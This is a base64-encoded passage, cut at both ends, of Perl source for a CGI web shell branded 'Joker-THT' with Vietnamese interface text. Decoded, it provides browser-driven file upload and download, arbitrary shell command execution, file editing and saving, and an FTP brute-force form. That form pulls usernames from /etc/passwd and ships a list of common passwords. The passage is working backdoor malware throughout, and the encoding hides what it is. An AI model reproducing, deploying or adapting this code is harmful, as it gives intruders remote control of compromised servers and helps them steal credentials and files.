SI+CjxsYWJlbCBmb3I9InVwIj4mIzI3MjsmIzIzMjsgTCYjMjM0O24gTiYjNzg3MTt1IEZpbGUgVHImIzI0OTtuZyBOaGF1PC9sYWJlbD48YnI+PGJyPgpUJiM3ODQzO2kgTCYjMjM0O246Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9Ikpva2VyLVRIVCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciI+CjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJ1cGxvYWQiPgo8L2Zvcm0+CkVORAp9CnN1YiBDb21tYW5kVGltZW91dAp7CglpZighJFdpbk5UKQoJewoJCWFsYXJtKDApOwoJCXJldHVybiA8PEVORDsKPC90ZXh0YXJlYT48YnI+PGZvbnQgY29sb3I9eWVsbG93PkNvbW1hbmQgZXhjZWVkZWQgbWF4aW11bSB0aW1lIG9mICRDb21tYW5kVGltZW91dER1cmF0aW9uIHNlY29uZChzKS48L2ZvbnQ+PGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250PgpFTkQKCX0KfQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlCnsKCWxvY2FsKCRGaWxlVXJsKSA9IEBfOwoJbXkgJHJlc3VsdD0iIjsKCWlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cwoJewoJCSMgZW5jb2RlIHRoZSBmaWxlIGxpbmsgc28gd2UgY2FuIHNlbmQgaXQgdG8gdGhlIGJyb3dzZXIKCQkkRmlsZVVybCA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7CgkJJERvd25sb2FkTGluayA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZmPSRGaWxlVXJsJm89Z28iOwoJCSRIdG1sTWV0YUhlYWRlciA9ICI8bWV0YSBIVFRQLUVRVUlWPVwiUmVmcmVzaFwiIENPTlRFTlQ9XCIxOyBVUkw9JERvd25sb2FkTGlua1wiPiI7CgkJJlByaW50UGFnZUhlYWRlcigiYyIpOwoJCSRyZXN1bHQgLj0gPDxFTkQ7ClNlbmRpbmcgRmlsZSAkVHJhbnNmZXJGaWxlLi4uPGJyPgoKSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+CkVORAoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07Cgl9CgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0Cgl7CgkJJHJlc3VsdCAuPSAiRmFpbGVkIHRvIGRvd25sb2FkICRGaWxlVXJsOiAkISI7CgkJJHJlc3VsdCAuPSAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gcmVhZHMgdGhlIHNwZWNpZmllZCBmaWxlIGZyb20gdGhlIGRpc2sgYW5kIHNlbmRzIGl0IHRvIHRoZQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2FuIGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIHNlbnQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyCnsKCW15ICRyZXN1bHQgPSAiIjsKCWxvY2FsKCRTZW5kRmlsZSkgPSBAXzsKCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcKCXsKCQlpZigkV2luTlQpCgkJewoJCQliaW5tb2RlKFNFTkRGSUxFKTsKCQkJYmlubW9kZShTVERPVVQpOwoJCX0KCQkkRmlsZVNpemUgPSAoc3RhdCgkU2VuZEZpbGUpKVs3XTsKCQkoJEZpbGVuYW1lID0gJFNlbmRGaWxlKSA9fiAgbSEoW14vXlxcXSopJCE7CgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOwoJCXByaW50ICJDb250ZW50LUxlbmd0aDogJEZpbGVTaXplXG4iOwoJCXByaW50ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0kMVxuXG4iOwoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOwoJCWNsb3NlKFNFTkRGSUxFKTsKCQlleGl0KDEpOwoJfQoJZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUKCXsKCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkISI7CgkJJHJlc3VsdCAuPSZQcmludEZpbGVEb3dubG9hZEZvcm07Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciBkb3dubG9hZHMgYSBmaWxlLiBJdCBkaXNwbGF5cyBhIG1lc3NhZ2UKIyB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rIHRocm91Z2ggd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuCiMgVGhpcyBmdW5jdGlvbiBpcyBhbHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2FzZSwKIyB0aGUgZmlsZSBpcyByZWFkIGFuZCBzZW50IHRvIHRoZSBicm93c2VyLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCZWdpbkRvd25sb2FkCnsKCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsKCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfAoJCSghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQoJewoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsKCX0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlCgl7CgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJfQoKCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlCgl7CgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBzdGFydHMgdGhlIHVwbG9hZCBwcm9jZXNzLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBVcGxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSB1cGxvYWQgZm9ybSBhZ2FpbgoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikKCXsKCQlyZXR1cm4gJlByaW50RmlsZVVwbG9hZEZvcm07CgoJfQoJbXkgJHJlc3VsdD0iIjsKCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzCgkkcmVzdWx0IC49ICJUJiM3ODQzO2kgTCYjMjM0O246ICRUcmFuc2ZlckZpbGUgVCYjNzg5OTtpICRDdXJyZW50RGlyIC4uLjxicj4iOwoKCSMgZ2V0IHRoZSBmdWxsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGNyZWF0ZWQKCWNob3AoJFRhcmdldE5hbWUpIGlmICgkVGFyZ2V0TmFtZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJJFRyYW5zZmVyRmlsZSA9fiBtIShbXi9eXFxdKikkITsKCSRUYXJnZXROYW1lIC49ICRQYXRoU2VwLiQxOwoKCSRUYXJnZXRGaWxlU2l6ZSA9IGxlbmd0aCgkaW57J2ZpbGVkYXRhJ30pOwoJIyBpZiB0aGUgZmlsZSBleGlzdHMgYW5kIHdlIGFyZSBub3Qgc3VwcG9zZWQgdG8gb3ZlcndyaXRlIGl0CglpZigtZSAkVGFyZ2V0TmFtZSAmJiAkT3B0aW9ucyBuZSAib3ZlcndyaXRlIikKCXsKCQkkcmVzdWx0IC49ICJUSCYjNzg0NTt0IEImIzc4NDE7aSwgVCYjNzg3OTtwIFRpbiBOJiMyMjQ7eSAmIzI3MjsmIzIyNzsgVCYjNzg5MTtuIFQmIzc4NDE7aS48YnI+IjsKCX0KCWVsc2UgIyBmaWxlIGlzIG5vdCBwcmVzZW50Cgl7CgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRUYXJnZXROYW1lIikpCgkJewoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsKCQkJcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307CgkJCWNsb3NlKFVQTE9BREZJTEUpOwoJCQkkcmVzdWx0IC49ICJrJiMyMzc7Y2ggVGgmIzQzMjsmIzc4OTk7YzogJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOwoJCQkkcmVzdWx0IC49ICImIzI3MjsmIzQzMjsmIzc5MDE7bmcgRCYjNzg1MTtuIEZpbGU6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCSRyZXN1bHQgLj0gIlRoJiM3ODQ1O3QgQiYjNzg0MTtpOiAkITxicj4iOwoJCX0KCX0KCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsKIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRG93bmxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQlyZXR1cm4gJlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8ICghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQoJewoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsKCX0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlCgl7CgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJfQoKCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlCgl7CgkJcmV0dXJuICZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCXJldHVybiAmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQgZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUKIyBjb21tYW5kIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgYW5vdGhlciBjb21tYW5kLiBUaGUgY2hhbmdlIGRpcmVjdG9yeQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRpbWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlCiMgb3V0cHV0IG9mIHRoZSBjaGFuZ2UgZGlyZWN0b3J5IGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZCB0byB0aGUgdXNlcnMKIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRXhlY3V0ZUNvbW1hbmQKewoJJEN1cnJlbnREaXIgPSAmVHJpbVNsYXNoZXMoJEN1cnJlbnREaXIpOwoJbXkgJHJlc3VsdD0iIjsKCWlmKCRSdW5Db21tYW5kID1+IG0vXlxzKmNkXHMrKC4rKS8pICMgaXQgaXMgYSBjaGFuZ2UgZGlyIGNvbW1hbmQKCXsKCQkjIHdlIGNoYW5nZSB0aGUgZGlyZWN0b3J5IGludGVybmFsbHkuIFRoZSBvdXRwdXQgb2YgdGhlCgkJIyBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQuCgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOwoJCWNob21wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7CgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQoJCSRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIjsKCQkkcmVzdWx0IC49ICZSdW5DbWQ7Cgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQoJewoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJJHJlc3VsdCAuPSZSdW5DbWQ7Cgl9CgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIHJ1biBjb21tYW5kCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJ1bkNtZAp7CglteSAkcmVzdWx0PSIiOwoJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiRSdW5Db21tYW5kLiRSZWRpcmVjdG9yOwoJaWYoISRXaW5OVCkKCXsKCQkkU0lHeydBTFJNJ30gPSBcJkNvbW1hbmRUaW1lb3V0OwoJCWFsYXJtKCRDb21tYW5kVGltZW91dER1cmF0aW9uKTsKCX0KCWlmKCRTaG93RHluYW1pY091dHB1dCkgIyBzaG93IG91dHB1dCBhcyBpdCBpcyBnZW5lcmF0ZWQKCXsKCQkkfD0xOwoJCSRDb21tYW5kIC49ICIgfCI7CgkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7CgkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQoJCXsKCQkJJF8gPX4gcy8oXG58XHJcbikkLy87CgkJCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoIiRfXG4iKTsKCQl9CgkJJHw9MDsKCX0KCWVsc2UgIyBzaG93IG91dHB1dCBhZnRlciBjb21tYW5kIGNvbXBsZXRlcwoJewoJCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoJENvbW1hbmQpOwoJfQoJaWYoISRXaW5OVCkKCXsKCQlhbGFybSgwKTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBGb3JtIFNhdmUgRmlsZSAKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgU2F2ZUZpbGVGb3JtCnsKCW15ICRyZXN1bHQgPSIiOwoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJc3Vic3RyKCRSdW5Db21tYW5kLDAsNSk9IiI7CglteSAkZmlsZT0mdHJpbSgkUnVuQ29tbWFuZCk7Cgkkc2F2ZT0nPGJyPjxpbnB1dCBuYW1lPSJhIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJzYXZlIiBjbGFzcz0ic3VibWl0IiA+JzsKCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRSdW5Db21tYW5kOwoJbXkgJGRpcj0iPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJndWkiKS4iPC9zcGFuPiI7CglpZigtdyAkRmlsZSkKCXsKCQkkcm93cz0iMjMiCgl9ZWxzZQoJewoJCSRtc2c9Ijxicj48Zm9udCBzdHlsZT0nY29sb3I6IHllbGxvdzsnID4gQ2Fubid0IHdyaXRlIGZpbGUhPGZvbnQ+PGJyPiI7CgkJJHJvd3M9IjIwIgoJfQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOwoJJFJ1bkNvbW1hbmQgPSAiZWRpdCAkUnVuQ29tbWFuZCI7CgkkcmVzdWx0IC49ICA8PEVORDsKCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciI+CgkkUHJvbXB0CjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI0MCIgbmFtZT0iYyI+Cgk8aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPjxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSIkZmlsZSIgPiAkc2F2ZSA8YnI+ICRtc2c8YnI+PHRleHRhcmVhIGlkPSJkYXRhIiBuYW1lPSJkYXRhIiBjb2xzPSIkY29scyIgcm93cz0iJHJvd3MiIHNwZWxsY2hlY2s9ImZhbHNlIj4KRU5ECgkKCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoJkZpbGVPcGVuKCRGaWxlLDApKTsKCSRyZXN1bHQgLj0gIjwvdGV4dGFyZWE+IjsKCSRyZXN1bHQgLj0gIjwvZm9ybT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQojIEZpbGUgT3BlbgojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CnN1YiBGaWxlT3BlbigkKXsKCW15ICRmaWxlID0gc2hpZnQ7CglteSAkYmluYXJ5ID0gc2hpZnQ7CglteSAkcmVzdWx0ID0gIiI7CglteSAkbiA9ICIiOwoJaWYoLWYgJGZpbGUpewoJCWlmKG9wZW4oRklMRSwkZmlsZSkpewoJCQlpZigkYmluYXJ5KXsKCQkJCWJpbm1vZGUgRklMRTsKCQkJfQoJCQl3aGlsZSAoKCRuID0gcmVhZCBGSUxFLCAkZGF0YSwgMTAyNCkgIT0gMCkgewoJCQkJJHJlc3VsdCAuPSAkZGF0YTsKCQkJfQoJCQljbG9zZShGSUxFKTsKCQl9Cgl9ZWxzZQoJewoJCXJldHVybiAiTm90J3MgYSBGaWxlISI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgU2F2ZSBGaWxlCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIFNhdmVGaWxlKCQpCnsKCW15ICREYXRhPSBzaGlmdCA7CglteSAkRmlsZT0gc2hpZnQ7CgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kRmlsZTsKCWlmKG9wZW4oRklMRSwgIj4kRmlsZSIpKQoJewoJCWJpbm1vZGUgRklMRTsKCQlwcmludCBGSUxFICREYXRhOwoJCWNsb3NlIEZJTEU7CgkJcmV0dXJuIDE7Cgl9ZWxzZQoJewoJCXJldHVybiAwOwoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCcnV0ZSBGb3JjZXIgRm9ybQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCcnV0ZUZvcmNlckZvcm0KewoJbXkgJHJlc3VsdD0iIjsKCSRyZXN1bHQgLj0gPDxFTkQ7Cjx0YWJsZT48dHI+Cjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj4jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM8YnI+U2ltcGxlIEZUUCBicnV0ZSBmb3JjZXI8YnI+Tm90ZTogT25seSBzY2FuIGZyb20gMSB0byAzIHVzZXIgOi1TPGJyPiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYnJ1dGVmb3JjZXIiLz48L3RkPjwvdHI+PHRyPjx0ZD5Vc2VyOjxicj48dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJ1c2VyIj4KRU5ECmNob3AoJHJlc3VsdCAuPSBgbGVzcyAvZXRjL3Bhc3N3ZCB8IGN1dCAtZDogLWYxYCk7CiRyZXN1bHQgLj0gPDwnRU5EJzsKPC90ZXh0YXJlYT48L3RkPjx0ZD5QYXNzOjxicj48dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJwYXNzIj4xMjNwYXNzCjEyMyFAIwoxMjNhZG1pbgoxMjNhYmMKMTIzNDU2YWRtaW4KMTIzNDU1NDMyMQoxMjM0NDMyMQpwYXNzMTIzCmFkbWluCmFkbWluY3AKYWRtaW5pc3RyYXRvcgptYXRraGF1CnBhc3NhZG1pbgpwQHNzd29yZApwQHNzdzByZApwYXNzd29yZAoxMjM0NTYKMTIzNDU2NwoxMjM0NTY3OAoxMjM0NTY3ODkKMTIzNDU2Nzg5MAoxMTExMTEKMDAwMDAwCjIyMjIyMgozMzMzMzMKNDQ0NDQ0CjU1NTU1NQo2NjY2NjYKNzc3Nzc3Cjg4ODg4OAo5OTk5OTkKMTIzMTIzCjIzNDIzNAozNDUzNDUKNDU2NDU2CjU2NzU2Nwo2Nzg2NzgKNzg5Nzg5CjEyMzMyMQo0NTY2NTQKNjU0MzIxCjc2NTQzMjEKODc2NTQzMjEKOTg3NjU0MzIxCjA5ODc2NTQzMjEKYWRtaW4xMjMKYWRtaW4xMjM0NTYKYWJjZGVmCmFiY2FiYwohQCMhQCMKIUAjJCVeCiFAIyQlXiYqKAohQCMkJCNAIQphYmMxMjMKYW5oeWV1ZW0KaWxvdmV5b3UKPC90ZXh0YXJlYT48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj5TbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj48b3B0aW9uPjA8L29wdGlvbj48b3B0aW9uPjE8L29wdGlvbj48b3B0aW9uPjI8L29wdGlvbj48b3B0aW9uPjM8L29wdGlvbj48L3NlbGVjdD4gPGl